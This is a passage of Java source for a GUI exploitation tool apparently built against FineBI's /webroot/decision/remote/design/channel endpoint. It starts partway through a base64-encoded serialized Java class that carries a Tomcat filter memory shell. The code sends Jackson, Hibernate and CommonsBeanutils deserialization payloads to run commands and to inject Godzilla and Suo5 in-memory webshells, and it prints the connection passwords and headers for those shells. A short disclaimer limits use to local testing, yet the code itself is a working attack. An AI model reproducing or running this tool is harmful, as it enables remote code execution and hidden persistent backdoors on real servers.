wdG8vQ2lwaGVyOwEAB2hhc2hNYXABABNMamF2YS91dGlsL0hhc2hNYXA7AQAJY2x6TG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAZhQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZkZWNvZGUBAAJbQgEABGxpc2kBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEADVN0YWNrTWFwVGFibGUHAS0HAYIBAAdkZXN0cm95AQAVZ2V0UmVxdWVzdEFuZFJlc3BvbnNlAQAHaWdub3JlZAEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEACXByb2Nlc3NvcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA3JlcQEABXZhbHVlAQABagEAAUkBAApwcm9jZXNzb3JzAQAQTGphdmEvdXRpbC9MaXN0OwEABnRhcmdldAEACnRocmVhZE5hbWUBAAZ0aHJlYWQBABJMamF2YS9sYW5nL1RocmVhZDsBAAFpAQAEZmxhZwEAAVoBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcBgwcBQAcBKAcBNwEADWdldEZpZWxkVmFsdWUBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEAAWUBAAJjcwEAA29iagEACWZpZWxkTmFtZQEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7BwFIBwEdAQANd3JpdGVSZXNwb25zZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABnJlc3VsdAEACWFkZEZpbHRlcgEACWZpbHRlck1hcAEABXZhcjI3AQAMZmlsdGVyTWFwT2JqAQAEbmFtZQEAEWZpbHRlclN0YXJ0TWV0aG9kAQAOZmluZEZpbHRlck1hcHMBAApmaWx0ZXJNYXBzAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAD3N0YW5kYXJkQ29udGV4dAEAKkxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0OwEACnN0YXRlRmllbGQBABJmaWx0ZXJSZWdpc3RyYXRpb24HAYUBAAdEeW5hbWljAQAMSW5uZXJDbGFzc2VzAQAqTGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uJER5bmFtaWM7AQAOc2VydmxldENvbnRleHQBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0Q29udGV4dDsBAAZmaWx0ZXIBABZMamF2YXgvc2VydmxldC9GaWx0ZXI7AQAKZmlsdGVyTmFtZQEAA3VybAcBhgcBfwcBXAcBhQcBhwcBcQcBiAEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADU1lbVNoZWxsLmphdmEMAIkAigEAEGU0NWUzMjlmZWI1ZDkyNWIMAIAAgQwBiQGKAQABdQcBiwwBjAGNAQADQUVTBwGODAGPAZABAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAGRAZIMAIkBkwwAnQGUAQARamF2YS91dGlsL0hhc2hNYXAMAZUBlgwAggCDBwGDDAGXAZgMAZkBmgEAFWphdmEubGFuZy5DbGFzc0xvYWRlcgcBmwwBnAGdAQAPamF2YS9sYW5nL0NsYXNzDAGeAK4MAZ8BoAcBhwwBoQGiAQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBowGkBwGlDAGmAacMAagBqQwBqgGrAQAQamF2YS9sYW5nL09iamVjdAwBrAGtDAGuAa8MAbABsQwBsgGzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBtAG1DADYANkMAbYBpwEABGV4ZWMMAbcBuAEABGh0dHABABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAAZnbG9iYWwBAA5qYXZhL3V0aWwvTGlzdAwBuQG6DAG7AbwMAb0BvgEAB2dldE5vdGUMAb8BoAEAEWphdmEvbGFuZy9JbnRlZ2VyDACJAcABAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nDACHAIUMAIkA4wwAiACFAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQALZ2V0UmVzcG9uc2UBABJbTGphdmEvbGFuZy9DbGFzczsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAwBwQHCDAHDAb4MAbsBxAEACXRleHQvaHRtbAwBxQDjAQAFVVRGLTgMAcYA4wwBxwHIBwHJDAHKAOMMAcsAigwBzACKDAHNAc4BABJldmlsY2xhc3MvTWVtU2hlbGwMAIYAhQwAhACFBwGGDAHPAdABAAdjb250ZXh0AQAob3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dAEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvdXRpbC9MaWZlY3ljbGVCYXNlAQAFc3RhdGUHAdEMAdIB0wwB1AHVDADlAdYHAdcMAdgB2QcB2gwB2wHcDAHdAd4BAAtmaWx0ZXJTdGFydAwB3wHTAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXAMAeABnQEAJG9yZy5hcGFjaGUuY2F0YWxpbmEuZGVwbG95LkZpbHRlck1hcAEADWdldEZpbHRlck5hbWUMAeEB4gEAB1N1Y2Nlc3MMAOIA4wEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAVRmlsdGVyIGFscmVhZHkgZXhpc3RzAQACLyoBAAlGUkZpbHRlcnMBAANWaWEBAAVHRmh1YgcB4wwB5AHlAQANMTExMTExMTExMTExMQcB5gwB5wDjDADAAIoMAOUAigEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvVGhyZWFkBwHoAQAoamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb24kRHluYW1pYwEAHGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABNqYXZhL2xhbmcvVGhyb3dhYmxlAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BAAhwdXRWYWx1ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA5nZXRUaHJlYWRHcm91cAEAGSgpTGphdmEvbGFuZy9UaHJlYWRHcm91cDsBAAdnZXROYW1lAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAARzaXplAQADKClJAQADZ2V0AQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQAEKEkpVgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFcHJpbnQBAAVmbHVzaAEABWNsb3NlAQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAFWdldEZpbHRlclJlZ2lzdHJhdGlvbgEANihMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uOwEAIm9yZy9hcGFjaGUvY2F0YWxpbmEvTGlmZWN5Y2xlU3RhdGUBAA1TVEFSVElOR19QUkVQAQAkTG9yZy9hcGFjaGUvY2F0YWxpbmEvTGlmZWN5Y2xlU3RhdGU7AQADc2V0AQAnKExqYXZ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"; 33 | 34 | public ComboBox Chain; 35 | private HttpHost PROXY = null; 36 | private String HOST = "127.0.0.1"; 37 | private int PORT = 8080; 38 | 39 | public Menu ProxyLog; 40 | 41 | @FXML 42 | private TitledPane TP; 43 | 44 | @FXML 45 | private TextField cmd; 46 | 47 | @FXML 48 | private TextField url; 49 | 50 | @FXML 51 | private TextArea output; 52 | 53 | // 初始化 54 | @Override 55 | public void initialize(URL location, ResourceBundle resources) { 56 | 57 | this.TP.setCollapsible(false); 58 | this.output.setText("\n1. 本工具仅用于本地模拟环境测试, 适用于FineBI\n\n" + 59 | "2. 漏洞路径: /webroot/decision/remote/design/channel\n\n"+ 60 | "3. 本工具支持jackson、hibernate、cb反序列化链来进行回显与注入内存马\n\n"+ 61 | "4. 利用DNSLOG功能时在输入命令处输入例如:blo6bz.dnslog.cn"); 62 | 63 | ObservableList chains = FXCollections.observableArrayList(new String[]{"JacksonSignedObject", "Hibernate", "CommonsBeanutils183"}); 64 | this.Chain.setItems(chains); 65 | } 66 | 67 | // 注意事项 68 | public void notice(ActionEvent actionEvent) { 69 | Alert alert = new Alert(Alert.AlertType.INFORMATION); 70 | alert.setTitle("注意事项"); 71 | alert.setHeaderText(null); 72 | alert.setContentText("\n\n1. 本工具仅用于本地模拟环境测试, 适用于FineBI\n\n" + 73 | "2. 漏洞路径: /webroot/decision/remote/design/channel\n\n"+ 74 | "3. 本工具支持jackson、hibernate、cb反序列化链来进行回显与注入内存马\n\n"+ 75 | "4. 利用DNSLOG功能时在输入命令处输入例如:blo6bz.dnslog.cn\n\n"); 76 | alert.showAndWait(); 77 | } 78 | 79 | // 检测是否为空值 80 | public Boolean check(String s){ 81 | return !s.isEmpty(); 82 | } 83 | 84 | // 检测url是否合法 85 | public Boolean checkUrl(String url){ 86 | return url.contains("https://") || url.contains("http://"); 87 | } 88 | 89 | public byte[] getPayload(String chain,byte[] bytes) throws Exception { 90 | if (chain.equals("JacksonSignedObject")){ 91 | return JacksonSignedObject.getPayload(bytes); 92 | } else if (chain.equals("Hibernate")) { 93 | return Hibernate.getPayload(bytes); 94 | } else if (chain.equals("CommonsBeanutils183")) { 95 | return CommonsBeanutils183.getPayload(bytes); 96 | } 97 | else { 98 | this.output.setText("Please use JacksonSignedObject or Hibernate or CommonsBeanutils183 to ExecCommand || InjectMem "); 99 | throw new Exception(); 100 | } 101 | } 102 | 103 | 104 | // DNSLOG检测 105 | public void DnsLog(ActionEvent actionEvent) throws Exception { 106 | if (check(this.url.getText()) && checkUrl(this.url.getText())){ 107 | if (check(this.cmd.getText())){ 108 | byte[] payload = URLDNS.getPayload(this.cmd.getText()); 109 | 110 | String res = attack.send(this.url.getText(),payload,null, this.PROXY); 111 | this.output.setText("Check on the remote server:"+this.cmd.getText()); 112 | 113 | } 114 | else { 115 | this.output.setText("Please Input Cmd !!!\n"+ 116 | "Like: blo6bz.dnslog.cn"); 117 | } 118 | } 119 | else { 120 | this.output.setText("Please Input Vul Url !!!\n"+ 121 | "Like: http://192.168.60.128:37799/webroot/decision/remote/design/channel"); 122 | } 123 | } 124 | 125 | // 执行命令 126 | @FXML 127 | protected void ExecCommand(ActionEvent actionEvent) throws Exception { 128 | if (check(this.url.getText()) && checkUrl(this.url.getText())){ 129 | if (check(this.cmd.getText())){ 130 | byte[] bytes = Base64.getDecoder().decode(echo); 131 | byte[] payload = getPayload((String) this.Chain.getValue(),bytes); 132 | String res = attack.send(this.url.getText(),payload,this.cmd.getText(),this.PROXY); 133 | this.output.setText(res); 134 | } 135 | else { 136 | this.output.setText("Please Input Cmd !!!"); 137 | } 138 | } 139 | else { 140 | this.output.setText("Please Input Vul Url !!!\n"+ 141 | "Like: http://192.168.60.128:37799/webroot/decision/remote/design/channel"); 142 | } 143 | 144 | } 145 | 146 | 147 | // 注入内存马 148 | public void InjectMem(ActionEvent actionEvent) throws Exception { 149 | if (check(this.url.getText()) && checkUrl(this.url.getText())){ 150 | byte[] bytes = Base64.getDecoder().decode(mem); 151 | byte[] payload = getPayload((String) this.Chain.getValue(),bytes); 152 | String res = attack.send(this.url.getText(),payload,null,this.PROXY); 153 | this.output.setText("尝试进行连接====\n1、注入Godzilla内存马路径:/*\n2、连接密码:ppl:ppl\n3、自定义请求头:Referer: Dguj\n=========================================\n"+res); 154 | 155 | } 156 | else { 157 | this.output.setText("Please Input Vul Url !!!\n"+ 158 | "Like: http://192.168.60.128:37799/webroot/decision/remote/design/channel"); 159 | } 160 | } 161 | 162 | // 注入内存马 163 | public void InjectSuo5(ActionEvent actionEvent) throws Exception { 164 | if (check(this.url.getText()) && checkUrl(this.url.getText())){ 165 | byte[] bytes = Base64.getDecoder().decode(suo5); 166 | byte[] payload = getPayload((String) this.Chain.getValue(),bytes); 167 | String res = attack.send(this.url.getText(),payload,null,this.PROXY); 168 | this.output.setText("尝试进行连接====\n1、注入Suo5内存马路径:/*\n2、连接密码:test:test123\n3、自定义请求头:Referer: Hijt\n=========================================\n"+res); 169 | 170 | } 171 | else { 172 | this.output.setText("Please Input Vul Url !!!\n"+ 173 | "Like: http://192.168.60.128:37799/webroot/decision/remote/design/channel"); 174 | } 175 | } 176 | 177 | 178 | public void Proxy(ActionEvent actionEvent) { 179 | 180 | Dialog> dialog = new Dialog<>(); 181 | Window window = dialog.getDialogPane().getScene().getWindow(); 182 | window.setOnCloseRequest((e) -> { 183 | window.hide(); 184 | }); 185 | dialog.setTitle("Setting Proxy"); 186 | dialog.setHeaderText(null); 187 | 188 | GridPane grid = new GridPane(); 189 | grid.setHgap(10); 190 | grid.setVgap(20); 191 | grid.setPadding(new Insets(20, 30, 10, 10)); 192 | 193 | ToggleGroup group = new ToggleGroup(); 194 | RadioButton enableRadio = new RadioButton("启用"); 195 | enableRadio.setSelected(true); 196 | enableRadio.setMinWidth(90.0); 197 | RadioButton disableRadio = new RadioButton("禁用"); 198 | disableRadio.setMinWidth(90.0); 199 | enableRadio.setToggleGroup(group); 200 | disableRadio.setToggleGroup(group); 201 | HBox hbox = new HBox(); 202 | hbox.setSpacing(20.0); 203 | hbox.getChildren().add(enableRadio); 204 | hbox.getChildren().add(disableRadio); 205 | 206 | ComboBox typeCombo = new ComboBox(); 207 | typeCombo.setItems(FXCollections.observableArrayList(new String[]{"HTTP"})); 208 | typeCombo.getSelectionModel().select(0); 209 | typeCombo.setMinWidth(200); 210 | 211 | TextField host = new TextField(); 212 | TextField port = new TextField(); 213 | if (HOST != null){ 214 | host.setText(HOST); 215 | port.setText(String.valueOf(PORT)); 216 | } 217 | 218 | Button cancelBtn = new Button("退出"); 219 | cancelBtn.setMinWidth(90.0); 220 | cancelBtn.setOnAction((e) -> { 221 | dialog.getDialogPane().getScene().getWindow().hide(); 222 | }); 223 | Button saveBtn = new Button("保存"); 224 | saveBtn.setMinWidth(90.0); 225 | saveBtn.setOnAction((e) ->{ 226 | if (enableRadio.isSelected()){ 227 | // System.out.println(host.getText()); 228 | if (!(host.getText().isEmpty() || port.getText().isEmpty())){ 229 | HOST = host.getText(); 230 | PORT = Integer.parseInt(port.getText()); 231 | if (typeCombo.getValue().equals("HTTP")){ 232 | HttpHost proxy = new HttpHost(HOST, PORT); 233 | this.PROXY = proxy; 234 | this.ProxyLog.setText("ProxyLog:Start HTTP @ /"+HOST+":"+PORT+" ..."); 235 | } 236 | } 237 | else { 238 | this.ProxyLog.setText("ProxyLog:Please Input Host and Port ..."); 239 | } 240 | } 241 | else { 242 | this.ProxyLog.setText(null); 243 | HOST = null; 244 | this.PROXY = null; 245 | } 246 | System.out.println(this.PROXY); 247 | 248 | }); 249 | 250 | HBox hbox2 = new HBox(); 251 | hbox2.getChildren().add(saveBtn); 252 | hbox2.getChildren().add(cancelBtn); 253 | hbox2.setSpacing(20.0); 254 | hbox2.setAlignment(Pos.CENTER); 255 | 256 | grid.add(hbox,1,0); 257 | grid.add(new Label("Type:"), 0, 1); 258 | grid.add(typeCombo,1,1); 259 | grid.add(new Label("Host:"), 0, 2); 260 | grid.add(host, 1, 2); 261 | grid.add(new Label("Port:"), 0, 3); 262 | grid.add(port, 1, 3); 263 | grid.add(hbox2,1,4); 264 | 265 | dialog.getDialogPane().setContent(grid); 266 | dialog.showAndWait(); 267 | } 268 | 269 | 270 | } -------------------------------------------------------------------------------- 